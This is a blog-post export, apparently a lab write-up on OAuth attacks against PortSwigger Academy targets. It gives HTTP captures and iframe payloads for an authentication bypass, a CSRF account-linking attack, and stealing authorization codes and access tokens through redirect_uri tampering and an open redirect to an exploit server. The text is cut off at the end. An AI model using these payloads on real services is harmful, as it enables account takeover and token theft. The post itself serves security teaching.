{"id":862,"date":"2021-07-07T12:52:06","date_gmt":"2021-07-07T12:52:06","guid":{"rendered":"https:\/\/shreyapohekar.com\/blogs\/?p=862"},"modified":"2021-07-10T10:09:27","modified_gmt":"2021-07-10T10:09:27","slug":"here-is-how-to-hunt-for-oauth-vulnerabilities","status":"publish","type":"post","link":"https:\/\/shreyapohekar.com\/blogs\/here-is-how-to-hunt-for-oauth-vulnerabilities\/","title":{"rendered":"Here is how to hunt for OAUTH vulnerabilities"},"content":{"rendered":"\n<p>In every other website, OAuth is an important element to integrate. The idea to of access delegation is simply amazing coz it reduces the overall headache for a developer to build out signup\/login from scratch. But the simple the implementation is, any bad configuration of yours could open up loads of attack vectors. <\/p>\n\n\n\n<p>In this blog post we are gonna cover just that!!!<\/p>\n\n\n\n<p>Let&#8217;s dive in&#8230;.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Let&#8217;s get the basics sorted<\/h2>\n\n\n\n<h2 class=\"wp-block-heading\">What exactly is OAUTH<\/h2>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>Definition from wiki states, <strong>OAuth<\/strong>&nbsp;is an open standard for access delegation, commonly used as a way for Internet users to grant websites or applications access to their information on other websites but without giving them the passwords.<\/p><\/blockquote>\n\n\n\n<p>Lets understand with an example.<\/p>\n\n\n\n<p>Consider you building an application on which you will be implementing the login functionality. A standard way is to code out the whole thing from scratch where you take in username, password fields. Another way that we probably see in every application is the login through other platforms like google, facebook, github. In the latter case, no username or password is required and an account is created!<\/p>\n\n\n\n<p>Whats happening behind the scenes???!!!<\/p>\n\n\n\n<p>When you proceed with Sign up with Google\/ Sign up with facebook, the application requests these providers for an authentication code. When its provided, it basically means to application that the user registering is a valid one. Therefore gives a headsup to  create the account. With this process the application also ask for some user-specific information like (name, email, phone, gender, DOB) and you clicking [Sign up with google] means that you agreed to share your requested personal information to the application.<\/p>\n\n\n\n<p>Understanding in a 8 step process&#8230;<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>Application requests user sign-in<\/li><li>User opts to Sign in with google<\/li><li>The application performs discovery on google address on the Google <\/li><li>The Google login Authentication responds with XRDS document<\/li><li>The application then requests with OAuth token <\/li><li>It now get redirected to google.<\/li><li>Now google logs the user in and approves the 3-rd party authentication.<\/li><li>The Google login authentication service returns user identity (OAuth request token)<\/li><li>With this token, the application is allowed access to protected information\/ features.<\/li><\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">The vulnerabilities<\/h2>\n\n\n\n<p>OAuth is simple to implement but mistakes in configuration can end up opening lot of attack possibilities. Lets learn about them!<\/p>\n\n\n\n<p>I will be taking up lab references from portswigger to explain a lot of scenarios. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Authentication bypass via OAUTH<\/h2>\n\n\n\n<p>The idea is to give your username and password and login to someone else&#8217;s account if the username and email of the victim is known.<\/p>\n\n\n\n<p>Lets take a look at a series of requests made..<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background scroll\">1.\nPOST \/interaction\/CYCPIUCPxSXr0QS2BDJlf\/login HTTP\/1.1\n Host: ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net\n Connection: close\n Content-Length: 30\n Cache-Control: max-age=0\n sec-ch-ua: \" Not;A Brand\";v=\"99\", \"Google Chrome\";v=\"91\", \"Chromium\";v=\"91\"\n sec-ch-ua-mobile: ?0\n Upgrade-Insecure-Requests: 1\n Origin: https:\/\/ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net\n Content-Type: application\/x-www-form-urlencoded\n User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/91.0.4472.77 Safari\/537.36\n Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,<em>\/<\/em>;q=0.8,application\/signed-exchange;v=b3;q=0.9\n Sec-Fetch-Site: same-origin\n Sec-Fetch-Mode: navigate\n Sec-Fetch-User: ?1\n Sec-Fetch-Dest: document\n Referer: https:\/\/ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net\/interaction\/CYCPIUCPxSXr0QS2BDJlf\n Accept-Language: en-US,en;q=0.9\n Cookie: _interaction=CYCPIUCPxSXr0QS2BDJlf\n username=wiener&amp;password=peter\n\n2.------------------------------------------------------\n\nGET \/auth\/CYCPIUCPxSXr0QS2BDJlf HTTP\/1.1\n Host: ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net\n Connection: close\n Cache-Control: max-age=0\n Upgrade-Insecure-Requests: 1\n User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/91.0.4472.77 Safari\/537.36\n Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,<em>\/<\/em>;q=0.8,application\/signed-exchange;v=b3;q=0.9\n Sec-Fetch-Site: same-origin\n Sec-Fetch-Mode: navigate\n Sec-Fetch-User: ?1\n Sec-Fetch-Dest: document\n sec-ch-ua: \" Not;A Brand\";v=\"99\", \"Google Chrome\";v=\"91\", \"Chromium\";v=\"91\"\n sec-ch-ua-mobile: ?0\n Referer: https:\/\/ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net\/interaction\/CYCPIUCPxSXr0QS2BDJlf\n Accept-Language: en-US,en;q=0.9\n Cookie: _interaction_resume=CYCPIUCPxSXr0QS2BDJlf\n\n3.----------------------------------------------------------\n\nGET \/interaction\/CYCPIUCPxSXr0QS2BDJlf HTTP\/1.1\n Host: ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net\n Connection: close\n Cache-Control: max-age=0\n Upgrade-Insecure-Requests: 1\n User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/91.0.4472.77 Safari\/537.36\n Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,<em>\/<\/em>;q=0.8,application\/signed-exchange;v=b3;q=0.9\n Sec-Fetch-Site: same-origin\n Sec-Fetch-Mode: navigate\n Sec-Fetch-User: ?1\n Sec-Fetch-Dest: document\n sec-ch-ua: \" Not;A Brand\";v=\"99\", \"Google Chrome\";v=\"91\", \"Chromium\";v=\"91\"\n sec-ch-ua-mobile: ?0\n Referer: https:\/\/ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net\/interaction\/CYCPIUCPxSXr0QS2BDJlf\n Accept-Language: en-US,en;q=0.9\n Cookie: _interaction=CYCPIUCPxSXr0QS2BDJlf; _session=DelOa4UpUs-sBdgqZvQ33; _session.legacy=DelOa4UpUs-sBdgqZvQ33\n\n4.--------------------------------------------------------\n\nPOST \/interaction\/CYCPIUCPxSXr0QS2BDJlf\/confirm HTTP\/1.1\n Host: ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net\n Connection: close\n Content-Length: 0\n Cache-Control: max-age=0\n sec-ch-ua: \" Not;A Brand\";v=\"99\", \"Google Chrome\";v=\"91\", \"Chromium\";v=\"91\"\n sec-ch-ua-mobile: ?0\n Upgrade-Insecure-Requests: 1\n Origin: https:\/\/ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net\n Content-Type: application\/x-www-form-urlencoded\n User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/91.0.4472.77 Safari\/537.36\n Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,<em>\/<\/em>;q=0.8,application\/signed-exchange;v=b3;q=0.9\n Sec-Fetch-Site: same-origin\n Sec-Fetch-Mode: navigate\n Sec-Fetch-User: ?1\n Sec-Fetch-Dest: document\n Referer: https:\/\/ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net\/interaction\/CYCPIUCPxSXr0QS2BDJlf\n Accept-Language: en-US,en;q=0.9\n Cookie: _interaction=CYCPIUCPxSXr0QS2BDJlf; _session=DelOa4UpUs-sBdgqZvQ33; _session.legacy=DelOa4UpUs-sBdgqZvQ33\n\n5.-------------------------------------------------------\n\nGET \/auth\/CYCPIUCPxSXr0QS2BDJlf HTTP\/1.1\n Host: ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net\n Connection: close\n Cache-Control: max-age=0\n Upgrade-Insecure-Requests: 1\n User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/91.0.4472.77 Safari\/537.36\n Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,<em>\/<\/em>;q=0.8,application\/signed-exchange;v=b3;q=0.9\n Sec-Fetch-Site: same-origin\n Sec-Fetch-Mode: navigate\n Sec-Fetch-User: ?1\n Sec-Fetch-Dest: document\n sec-ch-ua: \" Not;A Brand\";v=\"99\", \"Google Chrome\";v=\"91\", \"Chromium\";v=\"91\"\n sec-ch-ua-mobile: ?0\n Referer: https:\/\/ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net\/interaction\/CYCPIUCPxSXr0QS2BDJlf\n Accept-Language: en-US,en;q=0.9\n Cookie: _interaction_resume=CYCPIUCPxSXr0QS2BDJlf; _session=DelOa4UpUs-sBdgqZvQ33; _session.legacy=DelOa4UpUs-sBdgqZvQ33\n\n6.----------------------------------------------\n\nGET \/oauth-callback HTTP\/1.1\n Host: ace41f931f34f85b808a5f6300700056.web-security-academy.net\n Connection: close\n Cache-Control: max-age=0\n Upgrade-Insecure-Requests: 1\n User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/91.0.4472.77 Safari\/537.36\n Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,<em>\/<\/em>;q=0.8,application\/signed-exchange;v=b3;q=0.9\n Sec-Fetch-Site: same-site\n Sec-Fetch-Mode: navigate\n Sec-Fetch-User: ?1\n Sec-Fetch-Dest: document\n sec-ch-ua: \" Not;A Brand\";v=\"99\", \"Google Chrome\";v=\"91\", \"Chromium\";v=\"91\"\n sec-ch-ua-mobile: ?0\n Referer: https:\/\/ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net\/\n Accept-Language: en-US,en;q=0.9\n Cookie: session=D37ULnaVyW09DQ4H8PXCOSbyMD5f4AhX\n\n7.-----------------------------------------\n\nOPTIONS \/me HTTP\/1.1\n Host: ac6d1f911fc2f8a7806e5fb9025d004b.web-security-academy.net\n Connection: close\n Accept: <em>\/<\/em>\n Access-Control-Request-Method: GET\n Access-Control-Request-Headers: authorization,content-type\n Origin: https:\/\/ace41f931f34f85b808a5f6300700056.web-security-academy.net\n User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/91.0.4472.77 Safari\/537.36\n Sec-Fetch-Mode: cors\n Sec-Fetch-Site: same-site\n Sec-Fetch-Dest: empty\n Referer: https:\/\/ace41f931f34f85b808a5f6300700056.web-security-academy.net\/\n Accept-Language: en-US,en;q=0.9\n\n8.-------------------------------------------\n\nPOST \/authenticate HTTP\/1.1\n Host: ace41f931f34f85b808a5f6300700056.web-security-academy.net\n Connection: close\n Content-Length: 103\n sec-ch-ua: \" Not;A Brand\";v=\"99\", \"Google Chrome\";v=\"91\", \"Chromium\";v=\"91\"\n Accept: application\/json\n sec-ch-ua-mobile: ?0\n User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/91.0.4472.77 Safari\/537.36\n Content-Type: application\/json\n Origin: https:\/\/ace41f931f34f85b808a5f6300700056.web-security-academy.net\n Sec-Fetch-Site: same-origin\n Sec-Fetch-Mode: cors\n Sec-Fetch-Dest: empty\n Referer: https:\/\/ace41f931f34f85b808a5f6300700056.web-security-academy.net\/oauth-callback\n Accept-Language: en-US,en;q=0.9\n Cookie: session=D37ULnaVyW09DQ4H8PXCOSbyMD5f4AhX\n {\"email\":\"wiener@hotdog.com\",\"username\":\"wiener\",\"token\":\"0AaHOxahdDvGKUDewvb-e9RgQjCQL7vkIQeQHLlqcDp\"}<\/pre>\n\n\n\n<p>For the request number 5, the response received back is the authetication token that will be further used in the request 8 to verify the validity of the user, <\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">HTTP\/1.1 302 Found\n X-Powered-By: Express\n Pragma: no-cache\n Cache-Control: no-cache, no-store\n Set-Cookie: _interaction_resume=; path=\/auth\/CYCPIUCPxSXr0QS2BDJlf; expires=Thu, 01 Jan 1970 00:00:00 GMT; samesite=lax; secure; httponly\n Set-Cookie: _session=Coe1l5b1cz92m-61u8O6X; path=\/; expires=Sat, 26 Jun 2021 18:06:32 GMT; samesite=none; secure; httponly\n Set-Cookie: _session.legacy=Coe1l5b1cz92m-61u8O6X; path=\/; expires=Sat, 26 Jun 2021 18:06:32 GMT; secure; httponly\n Location: https:\/\/ace41f931f34f85b808a5f6300700056.web-security-academy.net\/oauth-callback#access_token=0AaHOxahdDvGKUDewvb-e9RgQjCQL7vkIQeQHLlqcDp&amp;expires_in=3600&amp;token_type=Bearer&amp;scope=openid%20profile%20email\n Content-Type: text\/html; charset=utf-8\n Date: Sat, 12 Jun 2021 18:06:32 GMT\n Connection: close\n Content-Length: 459\n Redirecting to <a href=\"https:\/\/ace41f931f34f85b808a5f6300700056.web-security-academy.net\/oauth-callback#access_token=0AaHOxahdDvGKUDewvb-e9RgQjCQL7vkIQeQHLlqcDp&amp;expires_in=3600&amp;token_type=Bearer&amp;scope=openid%20profile%20email\">https:\/\/ace41f931f34f85b808a5f6300700056.web-security-academy.net\/oauth-callback#access_token=0AaHOxahdDvGKUDewvb-e9RgQjCQL7vkIQeQHLlqcDp&amp;expires_in=3600&amp;token_type=Bearer&amp;scope=openid%20profile%20email<\/a>.<\/pre>\n\n\n\n<p>The token here behaves like a password. If the token verification is poorly implemented on the server, we would be able to log in with any known email and username. In request 8 (POST \/authenticate), change the email and username to any other valid account that exists and voila you have bypassed the authentication flow.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Flawed CSRF<\/h2>\n\n\n\n<p>Amongst a lot of configurational parameters of OAUTH, state parameter is the one responsible for CSRF protection. state parameter contains an unguessable code that is somehow related to the user&#8217;s session. This parameter is part of every request between Client application and the OAuth service.<\/p>\n\n\n\n<p>So if client application doesnt implement this parameter, it becomes an interesting scenario from the attacker&#8217;s perspective. Let&#8217;s have a look&#8230;.<\/p>\n\n\n\n<p>There&#8217;s a login page that takes you to your account section. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"492\" height=\"300\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-5.png\" alt=\"\" class=\"wp-image-869\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-5.png 492w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-5-300x183.png 300w\" sizes=\"(max-width: 492px) 100vw, 492px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"294\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-4-1024x294.png\" alt=\"\" class=\"wp-image-868\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-4-1024x294.png 1024w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-4-300x86.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-4-768x220.png 768w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-4-640x184.png 640w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-4.png 1213w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>In the image above, there&#8217;s an option to attach a social media profile so that user can directly login via the social media.<\/p>\n\n\n\n<p>When you click the button (attach a social profile), the following request is made&#8230;<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">GET \/auth?client_id=zosqz2h4uvjidu5j7vsui&amp;redirect_uri=https:\/\/ac7d1f761e0e1a0180bf12510077000f.web-security-academy.net\/oauth-linking&amp;response_type=code&amp;scope=openid%20profile%20email HTTP\/1.1\n Host: ac751f781e3b1a7680f412b402720050.web-security-academy.net\n Connection: close<\/pre>\n\n\n\n<p>It contains the usual client id, the uri to redirect to. The url is requesting oauth-linking code of which the response type should be code<\/p>\n\n\n\n<p>The server now responds with 302 redirect that contains the code that can be used in the further requests&#8230;<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">HTTP\/1.1 302 Found\n X-Powered-By: Express\n Pragma: no-cache\n Cache-Control: no-cache, no-store\n Location: https:\/\/ac7d1f761e0e1a0180bf12510077000f.web-security-academy.net\/oauth-linking?code=a9GeDOhrtbkeq22sfrbN1OxXOcYvS05hVlaGwWR_Qb7\n Content-Type: text\/html; charset=utf-8\n Set-Cookie: _session=SBzywXfvfIcUVpSWqDzkd; path=\/; expires=Sun, 27 Jun 2021 14:11:08 GMT; samesite=none; secure; httponly\n Set-Cookie: _session.legacy=SBzywXfvfIcUVpSWqDzkd; path=\/; expires=Sun, 27 Jun 2021 14:11:08 GMT; secure; httponly\n Date: Sun, 13 Jun 2021 14:11:08 GMT\n Connection: close\n X-XSS-Protection: 0\n Content-Length: 287\n Redirecting to <a href=\"https:\/\/ac7d1f761e0e1a0180bf12510077000f.web-security-academy.net\/oauth-linking?code=a9GeDOhrtbkeq22sfrbN1OxXOcYvS05hVlaGwWR_Qb7\">https:\/\/ac7d1f761e0e1a0180bf12510077000f.web-security-academy.net\/oauth-linking?code=a9GeDOhrtbkeq22sfrbN1OxXOcYvS05hVlaGwWR_Qb7<\/a>.<\/pre>\n\n\n\n<p>Now drop the next request.. why? Dropping this request will still keep the code valid and we&#8217;ll giving this code to the victim(ie admin) via exploit server. <\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">GET \/oauth-linking?code=qrdoU8tTIo72hcLAHC2LCEIwMTmC7PbGme6jfEN_frN HTTP\/1.1\n Host: ac7d1f761e0e1a0180bf12510077000f.web-security-academy.net\n Connection: close\n Upgrade-Insecure-Requests: 1\n User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/91.0.4472.77 Safari\/537.36\n Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,<em>\/<\/em>;q=0.8,application\/signed-exchange;v=b3;q=0.9\n Sec-Fetch-Site: same-site\n Sec-Fetch-Mode: navigate\n Sec-Fetch-User: ?1\n Sec-Fetch-Dest: document\n sec-ch-ua: \" Not;A Brand\";v=\"99\", \"Google Chrome\";v=\"91\", \"Chromium\";v=\"91\"\n sec-ch-ua-mobile: ?0\n Referer: https:\/\/ac7d1f761e0e1a0180bf12510077000f.web-security-academy.net\/\n Accept-Language: en-US,en;q=0.9\n Cookie: session=9KJfyDXYXLoLVFg694rhnvNzWJ8TeIhR<\/pre>\n\n\n\n<p>When the admin account loads this malicious iframe, his account gets linked to our blog website&#8230;<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">&lt;iframe src=\"https:\/\/ac7d1f761e0e1a0180bf12510077000f.web-security-academy.net\/oauth-linking?code=qrdoU8tTIo72hcLAHC2LCEIwMTmC7PbGme6jfEN_frN\"&gt;&lt;\/iframe&gt;<\/pre>\n\n\n\n<p>You can now logout from your account, turf off the proxy and login with social media.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"409\" height=\"308\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-6.png\" alt=\"\" class=\"wp-image-870\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-6.png 409w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-6-300x226.png 300w\" sizes=\"(max-width: 409px) 100vw, 409px\" \/><\/figure>\n\n\n\n<p>You will now see the admin panel, as the lack of csrf protection has ended up linking the admin&#8217;s account to your social media profile and hence you get access to sensitive functionality.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"192\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-3-1024x192.png\" alt=\"\" class=\"wp-image-867\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-3-1024x192.png 1024w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-3-300x56.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-3-768x144.png 768w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-3-640x120.png 640w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-3.png 1219w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Leaking tokens..<\/h2>\n\n\n\n<p>This is where you can steal the user&#8217;s authorization codes or access tokens. By stealing the valid code, the attacker can easily access the victim&#8217;s data.<\/p>\n\n\n\n<p>Depending on the grant type, code or a token is sent via victim&#8217;s browser to \/callback that is specified in the redirect_uri.<\/p>\n\n\n\n<p>If the OAUTH doesnt properly validate the redirect_uri then, a malicious redirect_uri can be generated that if visited by user can initiate an OAUTH flow and a valid code will be sent to the attacker controlled redirect_uri.<\/p>\n\n\n\n<p>Consider the following example:-<\/p>\n\n\n\n<p>The \/auth endpoint makes an OAuth call having client_id and redirect_uri<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">GET \/auth?client_id=v8n9jie8q0sn2yamb707l&amp;redirect_uri=https:\/\/ac201fe01f15524580121d75000600b9.web-security-academy.nesdfts\/oauth-callback&amp;response_type=code&amp;scope=openid%20profile%20email HTTP\/1.1\n Host: ac021fa01fa9528b80e21d750211002a.web-security-academy.net\n Connection: close\n sec-ch-ua: \" Not;A Brand\";v=\"99\", \"Google Chrome\";v=\"91\", \"Chromium\";v=\"91\"\n sec-ch-ua-mobile: ?0\n Upgrade-Insecure-Requests: 1\n User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/91.0.4472.77 Safari\/537.36\n Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,<em>\/<\/em>;q=0.8,application\/signed-exchange;v=b3;q=0.9\n Sec-Fetch-Site: same-site\n Sec-Fetch-Mode: navigate\n Sec-Fetch-User: ?1\n Sec-Fetch-Dest: document\n Referer: https:\/\/ac201fe01f15524580121d75000600b9.web-security-academy.net\/\n Accept-Language: en-US,en;q=0.9\n Cookie: _session=fK4MwbHLi_4KDyrsnx5ZL; _session.legacy=fK4MwbHLi_4KDyrsnx5ZL<\/pre>\n\n\n\n<p>A malicious HTML file can be created as follows where the redirect_uri is the url of the exploit server. You can use any other domain name too. <\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">&lt;iframe src=\"https:\/\/ac021fa01fa9528b80e21d750211002a.web-security-academy.net\/auth?client_id=v8n9jie8q0sn2yamb707l&amp;redirect_uri=https:\/\/acd41f591fd952d8800e1d650170002e.web-security-academy.net\/oauth-callback&amp;response_type=code&amp;scope=openid%20profile%20email\"&gt;&lt;\/iframe&gt;<\/pre>\n\n\n\n<p>If the URI is being validated, try to bypass the validation. For example: if the validation only allows example.com as the valid URI, try if example.com.attacker.com is working or not. As now, attacker.com is a website owned by attacker and example.com becomes its subdomain.<\/p>\n\n\n\n<p>When the victim opens the malicious html file on the attacker&#8217;s domain, the iframe automatically gets triggered containing the OAuth call. <\/p>\n\n\n\n<p>Now the attacker can check his log to view the codes of the victim&#8217;s account. Refer to the image below.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"72\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-8-1024x72.png\" alt=\"\" class=\"wp-image-872\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-8-1024x72.png 1024w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-8-300x21.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-8-768x54.png 768w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-8-640x45.png 640w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-8.png 1433w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Upon receiving the code, a valid callback url can be generated to access the account of victim.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">https:\/\/ac201fe01f15524580121d75000600b9.web-security-academy.net\/oauth-callback?code=I64BqYSfQ5lT2657Fc-yX5nUji7kW5JTej90uDwMRlA<\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"154\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-7-1024x154.png\" alt=\"\" class=\"wp-image-871\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-7-1024x154.png 1024w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-7-300x45.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-7-768x116.png 768w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-7-640x97.png 640w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/06\/image-7.png 1213w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption>thats administrator account logged in<\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Stealing OAuth tokens via open redirect<\/h2>\n\n\n\n<p>Oftentimes, you will come accross a scenario when you wont be able to use external URIs. But that doesnt meant that an attack scenario is not possible. <\/p>\n\n\n\n<p>If you can leverage directory traversal after \/oauth\/callback, for example, https:\/\/example.com\/oauth\/callback..\/..\/..\/test\/path maybe interpreted by the backend as https:\/\/example.com\/test\/path<\/p>\n\n\n\n<p>Below is a scenario from portswigger oauth labs, where the url to access the next post (button present on every blog post) is vulnerable to directory traversal.<\/p>\n\n\n\n<p>First, verify if directory traversal exists somewhere in the application. For our case its in the next post button<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">https:\/\/ac6d1fad1ead47868027a165028800dd.web-security-academy.net\/oauth-callback\/..\/post?postId=1<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">GET \/auth?client_id=tpt9tjjjohaxui5ur4oa1&amp;redirect_uri=https:\/\/ac4c1f0d1e46478c800fa1d30070006e.web-security-academy.net\/oauth-callback\/..\/<strong>post?postId=1<\/strong>&amp;response_type=token&amp;nonce=629526204&amp;scope=openid%20profile%20email HTTP\/1.1\n Host: ac6d1fad1ead47868027a165028800dd.web-security-academy.net\n Connection: close\n sec-ch-ua: \" Not;A Brand\";v=\"99\", \"Google Chrome\";v=\"91\", \"Chromium\";v=\"91\"\n sec-ch-ua-mobile: ?0\n Upgrade-Insecure-Requests: 1\n User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/91.0.4472.77 Safari\/537.36\n Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,<em>\/<\/em>;q=0.8,application\/signed-exchange;v=b3;q=0.9\n Sec-Fetch-Site: same-site\n Sec-Fetch-Mode: navigate\n Sec-Fetch-User: ?1\n Sec-Fetch-Dest: document\n Referer: https:\/\/ac4c1f0d1e46478c800fa1d30070006e.web-security-academy.net\/\n Accept-Language: en-US,en;q=0.9\n Cookie: _session=hn2y4iWOII0sO0AMiGXiP; _session.legacy=hn2y4iWOII0sO0AMiGXiP<\/pre>\n\n\n\n<p>You will also see that the PostId parameter is vulnerable to open-redirect. So there you can give the URL of your exploit server, even if there was validation on the redirect_uri parameter. If you go to the below URL, you will see that you get redirected to the exploit server&#8217;s \/exploit that displays &#8216;Hello World!&#8217; along with the access token in the URL fragment.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">https:\/\/ac6d1fad1ead47868027a165028800dd.web-security-academy.net\/auth?client_id=tpt9tjjjohaxui5ur4oa1&amp;redirect_uri=https:\/\/ac4c1f0d1e46478c800fa1d30070006e.web-security-academy.net\/oauth-callback\/..\/post\/next?path=https:\/\/ac6e1f671eeb47e480eea1080176006e.web-security-academy.net\/exploit&amp;response_type=token&amp;nonce=629526204&amp;scope=openid%20profile%20email<\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"271\" 